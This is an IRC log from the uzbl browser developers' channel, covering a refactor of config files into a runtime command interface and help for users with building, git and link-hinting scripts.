23:20 < rob|> SET status_format = <span foreground="red"><b>MSG</b></span><span foreground="orange"> URI </span>
23:20 < DuClare> rob|, Curiosity, how come you couldn't reproduce it before?
23:20 < rob|> SET status_message = Wazz up dude?
23:21 < rob|> DuClare: i had a config loaded by default with a dynamically allocated status_format string
23:21 < DuClare> Ah
23:22 < rob|> i think the status_message thing is nice for external scripts (say download managers) to write something to the statusbar
23:22 < jouz> I don't know to much about the webkit-signals, but maybe we could capture the selection-changed signal?
23:22 < DuClare> rob|, I actually asked Dieterbe about that
23:22 < DuClare> jouz, I'm looking into it
23:22 < jouz> DuClare: thans!
23:23 < DuClare> jouz, Does esc still remove the hints as it should when an input box is focused?
23:23 < jouz> i will upload the code in some minutes so you can see what i mean
23:23 < jouz> DuClare: yes
23:23 < DuClare> Good.  At least it can be used :)
23:24 < jouz> but it would be dead confortable, if when we select a text-field, we go directly to Insert-mode ;)
23:24 < DuClare> Yup
23:26 < DuClare> Hooray, no conflicts
23:28 < DuClare> Okay, no segfault.
23:30 < neldoreth> http://thedailywtf.com/Comments/Java-is-Slow!.aspx#261156 :D :D
23:31 < DuClare> rob|, Yup, the message works.
23:32 < DuClare> rob|, What do you think, shouldn't we add some sort of type signatures to the config list?  Manually strcmp:ing for every possible string value looks horribly redundant and is lengthy.. :o
23:33 < rob|> yes absolutly, though i think we'd need to check the name anyways
23:33 < DuClare> Hm, why?
23:34 < rob|> because setting a variable is not enough for most actions, they also need other code
23:34 < rob|> oh, i guess i got you wrong
23:35 < rob|> you did not talk about type signature ala TYPE_INT, TYPE_CHAR, etc., did you?
23:36 < DuClare> Something like that, to get rid of the tests in set_var_value?  What other code would need to run along with setting the value?
23:37 < DuClare> String vs Int would be enough for the current use..
23:37 < rob|> well, look at the code
23:37 < DuClare> Hmm, right
23:37 < rob|> e.g.: sometimes we need to update the statusbar to actually refelct a changed variable
23:38 < rob|> i don't like it too much either
23:40 < rob|> maybe we should not point to variables but to functions that alter the variable and perform other actions
23:40 < rob|> hmm...
23:40 < DuClare> Perhaps.  But, I think we should look back into it after there's more code
23:40 < DuClare> Easier to see what gets repeated and what doesn't
23:41 < DuClare> If things like sb or title need to be redrawn often, I'd consider simply calling them every time a variable is set.. that'd cause some redundant calls but less repetitive code
23:42 < rob|> hmm, no that doesn't sound too good
23:45 < rob|> imo the function based approach is cleaner
23:45 < rob|> that would treat every variable somewhat like an object
23:46 < DuClare> I suppose
23:49 < rob|> hmm, yeah i'll give that approach a try tomorrow
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23:58 < DuClare> jouz, Uhh..  I'm not sure there's a readily available signal for htis
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00:32 < rob|> added uri variable, now we could even load and display the the uzbl.org site in the default config ;)
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00:32 < rob|> SET uri = uzbl.org
00:33 < rob|> oh, yeah pipe and socket accept only the new commands. config file still in palce
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01:58 < rob|_> i guess we should move to g_printerr() to provide error messages to the user, that way we can easily redirect the output to any suitable widget, e.g. the statusbar
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06:43 < ashren> I am very impressed by the latest uzbl-git. Very nice work guys! Btw is there any way to set the default minimum font size?
07:47 < DuClare> Good morning
07:47 < DuClare> ashren, Can be added without too much trouble
08:04 < ashren> Ok. cool. I need to edit the source code then?
08:07 < DuClare> You can do that if you're in a hurry to get that feature.. or you can live with it and wait for me (or somebody else) to add it ;)
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08:16 < rob|> morning
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08:22 < DuClare> ashren, If you're dying to get it now and don't mind a quick hardcoded solution, then add these three lines in main before gtk_main () ;
08:22 < DuClare>     WebKitWebSettings *ws = webkit_web_settings_new ();
08:22 < DuClare>     g_object_set (G_OBJECT(ws), "minimum-font-size", 30, NULL);
08:22 < DuClare>     webkit_web_view_set_settings(uzbl.gui.web_view, ws);
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08:44 < ashren> DuClare: Thanks!
08:59 < DuClare> Uhm, insert mode is broken o_O
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09:12 < DuClare> I wonder when that happened.
09:16 < Dieterbe> morning lads
09:17 < DuClare> Hi Dieterbe o/
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09:41 < DuClare> rob|, Does insert mode work in your branch?
09:41 < DuClare> Oh well, I suppose I can test it myself..
09:41 < DuClare> :>
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09:46 < nattfodd> hi
09:46 < DuClare> ol
09:46 < nattfodd> anyone else having trouble with libwebkit-dev on debian?
09:46 < nattfodd> it refuses to install correctly, and when forced doesn't compile uzbl
09:46 < nattfodd> getting stuff like uzbl.h:150: error: expected declaration specifiers or ‘...’ before ‘WebKitWebNavigationAction’
09:48 < DuClare> Hmm.  Works, and now works in my branch too  .. o_O  there must be a hidden regression
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09:48 < nattfodd> and debian says:
09:49 < nattfodd>   libwebkit-dev: Depends: libwebkit-1.0-2 (>= 1.1.6) but 1.1.5-2 is installed.
09:49 < nattfodd> I can't find 1.1.6 anywhere
09:50 < dpb> unstable is often broken
09:50 < dpb> waiting a day or two usually helps
09:51 < nattfodd> but there's only 1.1.5-2 in unstable
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09:52 < nattfodd> ah, it's because I'm on amd64
09:52 < nattfodd> they only have 1.1.6 for other arches
09:52 < DuClare> rob|, Actually.  When I use the pipe config (rather than -c cfgpath), insert mode doesn't quite work.  ./uzbl < examples/configs/sampleconfig-pipe , o google.com , ifoo.. It sort of switches to insert mode as you can see in the status bar, but foo still goes to the command line rather than in the input box
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10:14 < Dieterbe> whoaa
10:15 < Dieterbe> do we even have code to handle incomming commands such as " o google.com" or "ifoo" from stdin/fifo/socket?
10:16 < DuClare> No
10:20 < Dieterbe> ooh, now i get what you meant
10:20 < DuClare> I fixed the insert bug
10:20 < DuClare> Well, found a solution
10:20 < DuClare> :)
10:27 < DuClare> Umm, not entirely yet
10:41 < DuClare> Now. :]
10:45 < DuClare> Dieterbe, I think we need two commands for that: CMD <foo>, which evaluates foo the same way key_cmd is evalled when you hit enter, and SETCMD <foo>, which sets key_cmd to foo but doesn't execute (so the user sees it in the status line as if he had entered it)
10:59 < Dieterbe> hm yea maybe
11:00 < DuClare> Dieterbe, Can't set handlers yet
11:00 < DuClare> Oops..
11:01 < DuClare> Sorry.  Got lost in backlog. :>
11:02 < Dieterbe> o_O
11:03 < DuClare> (It was a response to when you asked if rob's stuff is on par with the old config thingy)
11:07 < Dieterbe> oh
11:09 < rob|> DuClare: insert mode works for me with the pipe config
11:10 < DuClare> rob|, Doesn't work if you don't set modkey
11:10 < DuClare> rob|, http://github.com/DuClare/uzbl/commit/b3f12703f3c8920a96eba51157d5f561f9695527
11:11 < rob|> right, i have a minimal config and gradually remove stuff from it a i move it to the cmd parser
11:12 < DuClare> Hm.
11:12 < DuClare> Do you mind if I write CMD <foo>?
11:13 < rob|> to invoke the actions?
11:13 < DuClare> Yup
11:13 < rob|> i don't mind at all, go for it
11:19 < Dieterbe> 2nd that :)
11:19 < rob|> well, at least with the uri action there would be 2 ways to do the same thing; "CMD uri foo" and "SET uri = foo"
11:21 < DuClare> Mm, indeed
11:22 < Dieterbe> i don't really see a problem with that :)
11:23 < rob|> well, let's have it that way then. we can remove any of those if really desired at any time
11:24 < DuClare> Hmm..
11:24 < Dieterbe> let's have what which way?
11:25 < rob|> the CMD and SET thing overlapping in some cases
11:25 < Dieterbe> yeah, i don't see a problem in that
11:25 < rob|> or rather having overlapping functionality
11:25 < DuClare> I was actually thinking of letting CMD run commands as in bound stuff
11:25 < DuClare> 11'15'19 < Dieterbe> do we even have code to handle incomming commands such as " o google.com" or "ifoo" from  stdin/fifo/socket?
11:26 < Dieterbe> who whoa.
11:26 < Dieterbe> hold on
11:26 < DuClare> So CMD uri foo wouldn't work unless "uri" has been bound..
11:26 < DuClare> :x
11:27 < Dieterbe> that's the thing. these binds are only meant for the interactive input thing
11:27 < DuClare> Mmm
11:27 < Dieterbe> in the background, they invoke the "Real" functions, right
11:27 < DuClare> Yup
11:28 < DuClare> Dieterbe, Why did you want o google.com or ifoo?
11:28 < Dieterbe> in other words. i don't think we need CMD.  because everything you could do with it, can already be done "the normal way" (without the shortcut-ized faster interactive semantics)
11:28 < Dieterbe> i didn't
11:29 < Dieterbe> i thought that was what you were trying to do."./uzbl < examples/configs/sampleconfig-pipe , o google.com , ifoo."
11:29 < Dieterbe> so i think we only need SETCMD, not CMD
11:30  * DuClare got confused.  If CMD executes "core" commands, then we need/can use it for running script and spawn and such.  That's desirable, isn't it?
11:31 < DuClare> Right now there's no way to make a script invoke script or spawn via the pipe / fifo
11:31 < rob|> yes! currently there is no way other than key bindings to exit from uzbl with commands
11:31 < Dieterbe> oh, right. forgot about that
11:32 < DuClare> So, I'll write CMD and it can be used for invoking the core stuff.  Then I'll reconsider SETCMD.  I had an use case for it, though now that I got confused, I can't seem to recall it. :)
11:32 < Dieterbe> i always have had this idea that all "interactive things" should just be a frontend to deeper core functions, but we never really implemented it that way i guess
11:35 < rob|> right, we should outsource some code into separate functions in order to make it easier to invoke it from commands
11:38 < rob|> anyways, the commands have the potential to bring a really powerfull interface to the user that allows to set almost any bit in the browser externally
11:40 < rob|> does any other browser support such a thing?
11:40 < DuClare> Elinks maybe
11:42 < rob|> does elinks offer on the fly config changing?
11:43 < rob|> ah, right -eval
11:43 < rob|> though i'm don't think that accounts for piercing commands into running elinks sessions
11:43 < rob|> s/i'm/i/
11:46 < rob|> well, it also has -remote, though that seems to be of rather limited functionality
11:47 < Dieterbe> the thing is also, i would like to keep the "command names" from the current ini files (which are, when stored in the hashtable the _values_, and the keybindings are the keys) in sync with the commands that you can execute through the fifo/socket/.. but there they are storred as they keys in the hashtable, whereas their implementation functions are stored as the values
11:47 < Dieterbe> i have once drawn a schematic of how this all relates, but my schematic is at home
11:48 < Dieterbe> :P
11:48 < Dieterbe> either way i think we can improve this
11:51 < rob|> hehe, maybe we need to rename uzbl to cfgrbl ;)
11:52 < Dieterbe> :D
11:53 < Dieterbe> or codeuncomprhensbl
11:53 < DuClare> Perhaps we should emphasize configurability in the description on the site so we don't get people asking if we could strip away configurability to make it moar humane..
11:54 < rob|> haha
11:54 < DuClare> Personally I find configurability extremely important, esp. when things are supposed to be worked via external scripts
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11:56 < Dieterbe> DuClare: well, we only had one such question so far. i will emphasize it a bit more if we get more confused people  :P
11:56 < DuClare> Sure
12:01 < DuClare> http://hikari.serveftp.org/pc2.conf  Current config.  I should get jouz's updated version of the hint script though..
12:04 < rob|> should we allow "^#.*" commands? or better should the command parser ignore such lines?
12:05 < DuClare> Imo ignore
12:05 < rob|> yes, i meant is this needed
12:05 < Dieterbe> yeah definitely ignore
12:05 < DuClare> rob|, I'd also ignore empty lines
12:05 < rob|> right
12:05 < Dieterbe> and forbid users to use commands like "bind foo = blah #lalala"
12:06 < DuClare> What's wrong with that?
12:06 < Dieterbe> it makes parsing harder
12:06 < Dieterbe> because # characters could appear inside quoted strings
12:06 < Dieterbe> just let users only have comments on separate lines
12:06 < DuClare> Oh, you meant that as a comment
12:06 < Dieterbe> yea
12:06 < DuClare> I was thinking it's a part of the command. :)
12:08 < Dieterbe> well, that's what it should be
12:09 < Dieterbe> trying to parse out comments from real command lines would be unnecessarily complicated imho
12:12 < rob|> right, we only support comments where the '#' is at the beginning of the line
12:12 < rob|> that way we don't even need a regex to identify it
12:12 < rob|> -> faster
12:12 < DuClare> Yup.
12:17 < rob|> http://github.com/robm/uzbl/commit/90a7cebb6fbb37392bf626bfdf4274a764be2deb
12:19 < nattfodd> \o/
12:19 < nattfodd> finally managed to compile uzbl
12:29 < rob|> on debian? how did you solve the issue?
12:30 < Dieterbe> rob|: how is it going with arch btw?
12:31 < rob|> quite smooth, i like it so far :)
12:31 < nattfodd> rob|: I waited for the new binary package to hit the mirrors :=
12:31 < Dieterbe> good to hear
12:31 < rob|> nattfodd: hehe, ok
12:31 < nattfodd> is there a way to know how far down a page I am?
12:32 < nattfodd> since there is no scrollbar anymore
12:33 < rob|> no, we need a PAGE_POS symbol for the statusbar template
12:33 < nattfodd> ok
12:35 < oxmoz_> hi guys
12:35 < nattfodd> and has anyone managed to make dmenu a bit less ugly than the defaults?
12:36 < oxmoz_> Dieterbe: are you interested in having uzbl in Debian?
12:37 < rob|> nattfodd: in which respect? colours, font?
12:37 < nattfodd> rob|: both
12:37 < rob|> nattfodd: sure, dmenu takes those as cmd line arguments
12:38 < Dieterbe> oxmoz_: me personally not, but i assume some people in the community would appreciate it
12:39 < oxmoz_> Dieterbe: I'm would appreciate it myself, I can package it, I was just asking if you had any problem with that :)
12:39 < nattfodd> rob|: I know, I am just too lazy to experiment myself and was wondering if there were some pre-packaged configs
12:41 < rob|> there are some on the suckless site
12:42 < nattfodd> ok, will take a look
12:42 < nattfodd> thanks
12:43 < rob|> sure thing. for me dmenu looks just like the left part of the top bar in here: http://omploader.org/vMW55bQ
12:43 < nattfodd> is that xmobar?
12:43 < rob|> no, that is dwm+dzen2
12:44 < DuClare> rob|, Are you planning to support setting the handlers sometime soon, or should I hack them in my branch?
12:44 < nattfodd> funny, mine is xmonad+xmobar and it looks almost exactly the same :)
12:44 < ruskie> lol
12:44 < DuClare> Screenshots!?  http://hikari.serveftp.org/uzbl_hints4.png  ;)
12:44 < DuClare> Hi ruskie
12:45 < rob|> DuClare: feel free to add any missing variables, i'd appreciate it
12:45 < DuClare> 'kay, I'll go buy a lunch, eat some and get back to it.. :)
12:45 < ruskie> http://ruskie.codemages.net/scry/index.php/view/30/misc/gkrellShoot_07-14-07_191029.png <-- this has been my desktop nearly unchanged for a few years now
12:45 < ruskie> no uzbl in that since at the time there wasn't one yet
12:46 < DuClare> I really should add history numbers to my prompt.
12:46 < rob|> hehe, you seem to like gkrellm :P
12:47 < Dieterbe> oxmoz_: of course not. go ahead
12:47 < oxmoz_> great
12:49 < ruskie> rob|, yeah it's the best at-a-glance thing
12:50 < ruskie> I'll have to have a third app running with uzbl though to always have at a glance view of all running instances though...
12:53 < Dieterbe> ruskie: any news on that app?
12:55 < ruskie> as I don't know how uzbl will be defining instances and so on no...
12:55 < ruskie> I'm waiting for uzbl to stabilise a bit before doing tons of things
12:56 < ruskie> and need to see how your awmenu will handle it or however it's called
13:00 < ruskie> still don't see why this couldn't be builtin as a second statusbar but anyway ;)
13:00 < Dieterbe> oxmoz_: note though, if your plan is to get your package hosted on uzbl.org, make it a source package.
13:01 < oxmoz_> Dieterbe: I meant hosted on Debian repos
13:01 < Dieterbe> oxmoz_: okay, then do whatever you like :)
13:04 < rob|> hmm, somehow i don't like these capitalized commands i guess everything should be lc
13:05 < rob|> or at least we should handle it internally that way
13:06  * Dieterbe votes for lowercase too
13:10 < DuClare> Yup, lc all the way
13:11 < DuClare> Dieterbe, Are you working on something btw?  Awmenu?
13:14 < Dieterbe> DuClare: on the cookiehandler and on awmenu
13:14 < Dieterbe> but i'm a bit stuck on awmenu and the cookie stuff takes time :P
13:14 < Dieterbe> but i can only work at most a few hours in the evening on weekdays
13:18 < rob|> k, no need to uppercase the initial command names any more. you can also abbreviate them, i.e. "bind" -> "b", "bi", etc. (actually we care only for the first char in the command)
13:20 < Dieterbe> uhm.. is there any purpose for these abbrevations? aren't you making it more complicated then needed? remember that all these commands will be entered programatically anyway, so a few chars more or less doesn't matter
13:20 < DuClare> rob|, What if we want, say, setcmd
13:21 < DuClare> Dieterbe, The current parser only checks the first character to decide which regex to parse with
13:22 < Dieterbe> oh, so it is in fact a simplication instead of a complication
13:22 < rob|> yep
13:22 < Dieterbe> in that case, carry on :)
13:22 < Dieterbe> we should just make sure to have no "conflicting" command names
13:23 < DuClare> Hmm.  Couldn't we unify it to one regex?  <command> <primary_arg>[ = <rest>] Then make the command specific functions that actually execute it check if it's valid (i.e. has the second arg if it's needed)
13:23 < rob|> right, we should avoid having too many command anyways
13:23 < DuClare> From that regex we could compare the first substring to all possible commands...
13:23 < rob|> i'm talking about "initial cmds" like set, bind, ...
13:23 < DuClare> Yes
13:23 < DuClare> I know
13:24 < DuClare> Currently there's a regex for each command
13:24 < DuClare> But they're similar
13:24 < DuClare> Can't we use an unified syntax that works for all commads?
13:24 < Dieterbe> rob|: hmm wait, you may be saving a few cpu cycles it, but i don't think it's worth it.  i don't think this approach is very solid. if people have invalid commands i think it's better to return errors
13:25 < Dieterbe> rob|: with glib functions you can easily get the first "word" from a string
13:25 < rob|> Dieterbe: that's already the case
13:25 < rob|> if we can't match the command -> error
13:26 < rob|> DuClare: probably, do you have anthing concrete in mind?
13:26 < Dieterbe> but "bin" will match bind? imho that should trigger an error
13:26 < rob|> why?
13:27 < rob|> "sUperMan" will also match "set" :)
13:27 < Dieterbe> because that may not be what the user intended
13:27 < rob|> hmm
13:27 < Dieterbe> this is a grey area, i prefer being strict here and have well-defined predictable behaviour
13:28 < Dieterbe> it's also more logical to explain/document
13:28 < Dieterbe> "just use the command name"
13:28 < Dieterbe> not "you can use the command name, but also, but make sure..."
13:29 < DuClare> rob|, Like I explained.  First match the line like <cmd> <1starg> [= rest].  If it matches, it uses a syntax which, if I'm not mistaken, works for all the commands we have now.  So if it matches, start comparing 1st substring to the possible command names (bind, set, ..) and execute it.
13:29 < rob|> i'd not document that at all. everyone interested will find out
13:30 < Dieterbe> rob|: how do you mean not document? entering commands through fifo/stdin/socket is one of the most fundamental aspects of uzbl. of course we have to document this
13:30 < rob|> DuClare: hmm, that would imply using 2 regex matches per parser step. currently we need only one. though you could implement it and see if it really has any drawbacks
13:30 < DuClare> Why would that need two?
13:31 < rob|> Dieterbe: i mean i wouldn't document the possibility to abbrev. the commands
13:31 < Dieterbe> rob|: well, then uzbl will not behave as expected when users have typo's which is _bad_
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13:34 < rob|> DuClare: well, we'd need to extract the substrings depending on the command
13:34 < rob|> DuClare: maybe i'm just too confused, i'll look at your implementation ;)
13:36 < Dieterbe> rob|: imho software should behave exactly as documented, and documentation should explain exactly how the app works.  so i suggest to keep the behavior simple: just match the first word( string until whitespace).
13:37 < Dieterbe> it's easy in code, it's easy to document, it's easy to remember.
13:37 < rob|> well ok, though i still like the possibility to abbreviate
13:39 < Dieterbe> i don't.  because these commands will be entered programatically anyway
13:40 < rob|> yeah, but imagine a geek's config using say city names to define the bindings: "boston x=exit - baltimore o _ = uri %s ..."
13:40 < rob|> just kidding ;)
13:45 < zecrazytux> hi
13:46 < zecrazytux> is there a way to let uzbl loading URIs that are not complete (EG google.fr instead of http://google.fr) ?
13:46 < zecrazytux> (when using o _)
13:49 < rob|> that should happen implicitly
13:49 < zecrazytux> well strange it does not work :-(
13:49 < zecrazytux> it also don't work if I ask for a correct well formed URI
13:49 < zecrazytux> only a few websites are loading
13:51 < rob|> hmm, strange. probably an issue with your bindings. try     echo 'uri google.fr' > /tmp/uzbl_fifo_NUMBER
13:51 < rob|> does that work?
13:52 < zecrazytux> no
13:52 < zecrazytux> triggered
13:52 < zecrazytux> ...done
13:52 < zecrazytux> nothing happens
13:52 < rob|> erm, which branch are you running?
13:52 < zecrazytux> master
13:54 < zecrazytux> very strange
13:54 < zecrazytux> echo 'uri zecrazytux.net' > /tmp/uzbl_fifo_* works
13:54 < Dieterbe> you sure you're writing into the correct fifo file then?
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13:55 < zecrazytux> Dieterbe: hmm, sure
13:56 < rob|> how did you determine that?
13:56 < zecrazytux> since the same 'echo >' with another uri works
13:57 < rxd> how do i install uzbl browser i am using slitaz
13:57 < zecrazytux> and that with something that does not work, I still get an output on the terminal (where I launched uzbl)
13:57 < rob|> you better do "uzbl -n testbrowser" and use "/tmp/uzbl_fifo_testbrowser" that should clarify things
13:57 < rxd> is there a taz package
13:58 < Dieterbe> rxd: probably not
13:58 < zecrazytux> rxd: http://www.uzbl.org/get.php
13:59 < rxd> ok thank u
13:59 < zecrazytux> zecrazytux@lappy $ ./uzbl -c examples/configs/sampleconfig -n testbrowser
13:59 < DuClare> Hmmm.
13:59 < zecrazytux> zecrazytux@lappy $ echo 'uri google.fr' > /tmp/uzbl_fifo_testbrowser
14:00 < zecrazytux> output in the shell:
14:00 < zecrazytux> triggered
14:00 < zecrazytux> ...done
14:00 < zecrazytux> but uzbl does not load google.fr
14:00 < Dieterbe> i also have that sometimes
14:00 < DuClare> rob|, Dieterbe: I take it the first argument of a command may not end with '=' if there's the '= ...' part?
14:01 < Dieterbe> DuClare: would there be a use for that?
14:01 < DuClare> Dieterbe, BIND a= = fuu
14:02 < Dieterbe> DuClare: oh, you want to use the '=' character in your bindings?
14:02 < Dieterbe> i don't think that is a problem.. rob| /
14:02 < Dieterbe> ?
14:02 < DuClare> I don't neccessarily want to
14:03 < rob|> DuClare: hmm, not sure if you can easily use the greedy operators to allow that - though if you can, do it :)
14:03 < rob|> zecrazytux: very strange indeed
14:04 < rob|> DuClare: remember there might also be = in the 3rd argument
14:05 < DuClare> Hm, indeed
14:16 < zecrazytux> :(
14:21 < rob|> zecrazytux: we're currently working on a more flexible interface for such commands, just stay tuned
14:23 < zecrazytux> rob|: how can I follow changes / developper discutions ?
14:23 < zecrazytux> I may have a look on the code and maybe contribute a bit
14:23 < DuClare> We discuss here
14:24 < DuClare> As for changes, just browse the repos @ github.  There's also the github bot that announces at least Dieterbe's pushes here on the channel.
14:24 < zecrazytux> ok fine
14:26 < rob|> zecrazytux: also see the "config-refactor" branch, duclare's and my repo (github.com/robm/uzbl) incorporate the most recent code as of now
14:26 < zecrazytux> hmm ok
14:27 < zecrazytux> I need to learn how to use git before
15:01 < DuClare> Fsck RE, /me wants monadic parsers
15:01 < DuClare> ^^;
15:02 < Dieterbe> o_O
15:02 < zecrazytux> guys, is 'script' able to print something that could be picked up by, for example, 'spawn' ?
15:03 < zecrazytux> something like :
15:03 < zecrazytux> binding = spawn cmd $(script myownscript)
15:04 < DuClare> Ummm
15:04 < DuClare> Not quite
15:05 < zecrazytux> that could be awesome
15:05 < DuClare> I don't see why
15:06 < Dieterbe> zecrazytux: why do you need that?
15:06 < zecrazytux> you can many usefull informations with js, but you can't interact with third party softwares/the os
15:07 < DuClare> Umm
15:07 < DuClare> Js has nothing to do with that
15:07 < zecrazytux> I though about this for copying a link location by typing F pX
15:07 < DuClare> Right
15:07 < zecrazytux> the same way as "open a link number X"
15:08 < zecrazytux> p = spawn xclip $(script print document.links[%s].href;)
15:08 < zecrazytux> that would be terrific :)
15:09 < DuClare> zecrazytux, The thing is, javascript prints to the document in the browser
15:09 < zecrazytux> yes :(
15:10 < DuClare> The code used to execute a script doesn't return anything.  It's in isolation, basically.  I'm not sure if we could use the jsconsole signals, but that'd be a potential security hole
15:20 < DuClare> I *totally* hate the phone.
15:20 < DuClare> Now I'm so lost and can't remember what I was doing. :x
15:28 < zecrazytux> is there a way to execute a script automatically on each pages ? (without having to press a key/shortcut)
15:30 < zecrazytux> damn, unable to load (www.)?google.(com|fr)
15:31 < DuClare> I'm adding support for it
15:38 < DuClare> There.
15:38 < DuClare> Uhm, segfault
15:44 < DuClare> zecrazytux, Check my repo.  (No warranty.)
15:44 < DuClare> zecrazytux, set load_finish_handler = /path/to/script
15:45 < zecrazytux> DuClare: thanks :)
15:46 < DuClare> rob|, Is there a reason why fifo_path and
15:46 < DuClare> rob|, .. socket_path are char arrays of fixed size?
15:48 < rob|> no, i adopted that from the original code
15:48 < DuClare> Right
15:48 < DuClare> I'll fix them then..
15:48 < DuClare> I think we've got a bunch of potential memory leaks though.  Valgrind time?
15:49 < rob|> we're most certainly leeaking at several places
15:50 < rob|> also the usage of strreplace without checking for array bounds is bad practice
15:54 < zecrazytux> how can I get experimental / DuClare's sources ?
15:54 < zecrazytux> I don't understand how git work :(
15:58 < rob|> zecrazytux: http://www.kernel.org/pub/software/scm/git/docs/user-manual.html#advanced-branch-management
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16:01 < DuClare> zecrazytux, You can either start by cloning my repository and then checking out origin/experimental, or by fetching my repos and merging experimental
16:01 < rob|> DuClare: are you working at migrating the remaining variables to the cmd interface?
16:02 < DuClare> rob|, I already added the handler vars so I might as well do the rest
16:02 < rob|> ok, nice. i won't touch it then and just pull from you when done
16:02 < DuClare> http://github.com/DuClare/uzbl/commit/06637937a58892b4665a5e25c991cf721d57d024
16:02 < DuClare> Yup.
16:04 < rob|> hmm, is it enough to just update the variable for those things?
16:04 < rob|> at least for fifo and socket, you'd need to close and reopen them (create_*())
16:04 < DuClare> Yup
16:04 < Dieterbe> DuClare> zecrazytux, set load_finish_handler = /path/to/script <-- nice. but i was thinking more about bind_signal <signalname>, which could take the same things as arguments as bind. so you could do "spawn <..>" , "script <js code here>", etc
16:05 < Dieterbe> DuClare: it's a bit more flexible and allows adding arbitrary things , to arbitrary signals, in arbitrary amounts :P
16:05 < DuClare> Dieterbe, I'll try to implement that later
16:06 < DuClare> Unless you want to do it :p
16:06 < Dieterbe> want? sure. have time? hmmmm
16:08 < DuClare> rob|, Yes, it's safe to just change the vars for the handlers -- they're only used when a signal leads to callback
16:08 < DuClare> Unless I've missed something. :)
16:09 < DuClare> Actually, cookie_handler needs more
16:09 < DuClare> Easy fix though
16:09 < Dieterbe> guys, can you make sure i will be able to recognize parts of the code when i come home? thanks :)
16:10 < oxmoz_> git blame
16:10 < oxmoz_> :)
16:10 < DuClare> Well, I gotta leave for school in about thirty minutes and before that I want to write a personal TODO list so I don't forget everything .. :>
16:10 < DuClare> After school I'm supposed to go install a new mobo & cpu for a schoolmate.
16:10 < DuClare> Maybe I can still code something in the evening. :]
16:11 < Dieterbe> DuClare: maybe just add your stuff in the uzbl TODO file and put your name with it?
16:12 < DuClare> Hmm.  Maybe.
16:13 < zecrazytux> DuClare: what's _your_ repo ?
16:13 < DuClare> github.com/DuClare
16:13 < zecrazytux> ok thanks
16:21 < zecrazytux> damned
16:21 < zecrazytux> git-hell
16:32 < DuClare> I apologise for my terse instructions ^^;  I'd like to help but I really have to get going now →
16:32 < Dieterbe> have fun at school DuClare :)
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18:36 < jouz> http://pastie.org/476974 <- latest linkfollowing-script, for the people who care. Forms are now enabled. Still some bugs, but usable in general.
18:38 < zecrazytux> what is a "linkfollowing-script ?
18:40 < jouz> if you copy paste the script (its one line!!!) to your config, and press "f" you see little "hints" with numbers on all links. If you afterwards hit one of these numbers, the corresponding link will be clicked. (So basically, we aim to make the mouse obsolete)
18:43 < jouz> This works now on form-elements as well. Further, you should be able to just type the text of the link, instead of the number.
18:43 < zecrazytux> hm ok
18:44 < zecrazytux> so fx will focuses on a form input if x is the number of that field
18:44 < zecrazytux> right ?
18:44 < jouz> yes
18:45 < zecrazytux> can we use TAB or another key to goto the next input ?
18:45 < jouz> only problem is that we cant switch to "insert-mode" automatically yet when entering a text-field.
18:45 < jouz> yes
18:45 < jouz> tab sould work fine for form-elems
18:50 < zecrazytux> yup
18:51 < zecrazytux> jouz: can you help me a bit with getting latest sources from github please ? I don't understand how to get experimental/duclare sources...
18:52 < jouz> ah thats easy. go to the dir you want the sources to be. Type "git clone git://github.org/DuClare/uzbl.git", then "cd uzbl"...
18:53 < jouz> then "git pull origin experimental:experimental" and you have the experimental-branch locally
18:53 < jouz> then "git checkout experimental", to move to the experimental branch.
18:53 < zecrazytux> damn
18:53 < zecrazytux> that's what I did
18:53 < zecrazytux> hmm nah
18:54 < zecrazytux> I did 'git fetch origin experimental'
18:54 < jouz> (dunno if thats the easy way, but thats how i do it)
18:54 < jouz> zecrazytux: should work as well i believe. but dont forget to "git checkout [branchname]" afterwards...
18:56 < oxmoz_> zecrazytux: fetch will download the source without merging it, if you wish to merge it to your code, use git merge, actually git pull does fetch+merge
18:57 < zecrazytux> ah ok :)
18:57 < zecrazytux> thanks for the hint
18:57 < zecrazytux> I definitely don't like git :-(
18:57 < oxmoz_> git is very powerful, but you need to read some doc before getting started
18:57 < oxmoz_> once it's done, you can't do without git
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19:53 < Dieterbe> evening
19:55 < rob|> wb dieter
19:59 < rob|> hmm, why can't i do a 'git diff' against a repo i specify on the command line?
20:03 < Dieterbe> you have to do a git diff against a head. and a head is something that points to a branch, tag etc. but i think they must be available in your clone
20:04 < Dieterbe> so you probably want to do: git remote add -f <shortname> http://....
20:04 < rob|> ah, i see. let's try this
20:05 < Dieterbe> then you can git diff <shortname>/branch 
20:05 < Dieterbe> see git branch -a to show all your branches (both local, and remote tracking)
20:05 < Dieterbe> (yes i did some more reading about git recently :P )
20:09 < rob|> hmm, still no luck
20:10 < rob|> nvm, got it
20:11 < rob|> overlooked the "-f"
20:11 < rob|> thanks!
20:12 < rob|> the command parser progresses quite well
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20:13 < Dieterbe> great :)
20:14 < rob|> duclare added a couple of new vars, i guess we could remove all config file code from the 'config-refactor' branch in 1 or 2 days
20:14 < rob|> and test the whole thing more thoroughly
20:15 < Dieterbe> cool
20:16 < rob|> what we still need is a dump_config() function, that reads all related stuff and dumps it in for of commands to stdout
20:16 < rob|> s/for/form/
20:19 < rob|> oh yeah and we need someone who's willing to look over all error messages and rewrite them to use g_printerr()
20:19 < rob|> that way we could a dedicated statusbar symbol that shows errors
20:19 < rob|> +have
20:20 < anydot> Hi there. :)
20:21 < anydot> rob|, Dieterbe, I just experience lack of free time now.
20:21 < anydot> Too much work, semester is nearing to the end, etc.
20:22 < rob|> hey anydot
20:22 < Dieterbe> ooh :(
20:22 < Dieterbe> can't you quit school?
20:23 < Dieterbe> or contribute to uzbl as homework? :P
20:23 < rob|> hehe
20:23 < anydot> :)
20:24 < Dieterbe> really, if i would have to redo a masters thesis, i would do an opensource project for my own
20:24 < Dieterbe> not some project for some company
20:25 < Dieterbe> btw http://bbs.archlinux.org/viewtopic.php?pid=552701#p552701 :(
20:29 < rob|> hmm
20:30 < anydot> btw, Is anyone here using SLiM?
20:31 < cdarwin> not currently, have in the past though might be able to provide some insight
20:31 < anydot> * get rid of config files -> send everything as commands to stdin on program launch -> you can change config at runtime
20:31 < anydot> That's imho bad idea.
20:32 < anydot> Well, not so good, to rephrase it.
20:32 < Dieterbe> please elaborate
20:32 < anydot> What are pros, if I can ask first?
20:33 < Dieterbe> Rationale. AKA "why not config files?"
20:33 < Dieterbe> -> unify code to configure uzbl and to accept incoming commands
20:33 < Dieterbe> -> no more code needed for config file parsing/handling
20:33 < Dieterbe> -> runtime changing of configuration
